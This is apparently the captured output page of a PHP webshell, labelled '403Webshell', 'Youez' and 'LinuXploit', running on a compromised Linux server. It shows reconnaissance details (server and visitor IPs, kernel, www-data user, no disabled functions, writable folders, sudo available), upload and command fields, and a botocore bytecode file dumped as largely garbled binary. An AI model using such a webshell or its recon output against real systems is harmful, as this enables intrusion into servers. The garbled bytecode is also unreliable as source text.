403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/botocore/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/botocore/__pycache__/context.cpython-314.pyc
+
��i����Rt^RIHt^RIHt^RIHt^RIHtH	t	^RI
Ht]!RR44t]!R4t
R	tR
tRt]RR
l4tRRltR#)z�
NOTE: All classes and functions in this module are considered private and are
subject to abrupt breaking changes. Please do not use them directly.
)�contextmanager)�
ContextVar)�deepcopy)�	dataclass�field��wrapsc�Ba�]tRt^toRt]!]R7tV3RltRt	Vt
R#)�
ClientContextz�
Encapsulation of objects tracked within the ``_context`` context variable.

``features`` is a set responsible for storing features used during
preparation of an AWS request. ``botocore.useragent.register_feature_id``
is used to add to this set.
)�default_factoryc�6<�V^8�dQh/S[S[,;R&#)��features)�set�str)�format�
__classdict__s"��2/usr/lib/python3/dist-packages/botocore/context.py�__annotate__�ClientContext.__annotate__s�����#�h�3���N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr�__annotate_func__�__static_attributes__�__classdictcell__)rs@rr
r
s������s�3�H��rr
�_contextc�,�\PR4#)z@Get the current ``_context`` context variable if set, else None.N)r �getrrr�get_contextr#)s���<�<���rc�0�\PV4pV#)aSet the current ``_context`` context variable.

:type ctx: ClientContext
:param ctx: Client context object to set as the current context variable.

:rtype: contextvars.Token
:returns: Token object used to revert the context variable to what it was
    before the corresponding set.
)r r)�ctx�tokens& r�set_contextr'.s��
�L�L���E��Lrc�0�\PV4R#)z�Reset the current ``_context`` context variable.

:type token: contextvars.Token
:param token: Token object to reset the context variable.
N)r �reset)r&s&r�
reset_contextr*<s��
�N�N�5�rNc#�"�T;'g\4pVf\4pM\V4p\V4pRx�\	V4R# \	T4i;i5i)aO
Context manager that copies the passed or current context object and sets
it as the current context variable. If no context is found, a new
``ClientContext`` object is created. It mainly ensures the context variable
is reset to the previous value once the executed code returns.

Example usage:

    def my_feature():
        with start_as_current_context():
            register_feature_id('MY_FEATURE')
            pass

:type ctx: ClientContext
:param ctx: The client context object to set as the new context variable.
    If not provided, the current or a new context variable is used.
N)r#r
rr'r*)r%�current�newr&s&   r�start_as_current_contextr.EsN���&�"�"�[�]�G����o���w������E��
��e���
�e��s�:A�A�
A�
A�Ac�a�V3RlpV#)a�
Decorator that wraps ``start_as_current_context`` and optionally invokes a
hook within the newly-set context. This is just syntactic sugar to avoid
indenting existing code under the context manager.

Example usage:

    @with_current_context(partial(register_feature_id, 'MY_FEATURE'))
    def my_feature():
        pass

:type hook: callable
:param hook: A callable that will be invoked within the scope of the
    ``start_as_current_context`` context manager.
c�4<a�\S4VV3Rl4pV#)c�<�\4;_uu_4S'dS!4S!V/VBuuRRR4# +'giR#;i�N)r.)�args�kwargs�func�hooks*,��r�wrapper�8with_current_context.<locals>.decorator.<locals>.wrappervs0���)�+�+���F��T�,�V�,�,�+�+�+�s	�6�A	r)r5r7r6sf �r�	decorator�'with_current_context.<locals>.decoratorus ���	�t��	-�
�	-��rr)r6r9sf r�with_current_contextr;ds���"��rr2)r�
contextlibr�contextvarsr�copyr�dataclassesrr�	functoolsrr
r r#r'r*r.r;rrr�<module>rAsh���
&�"��(���	4�	4��	4��j�!���
������<r

Youez - 2016 - github.com/yon3zu
LinuXploit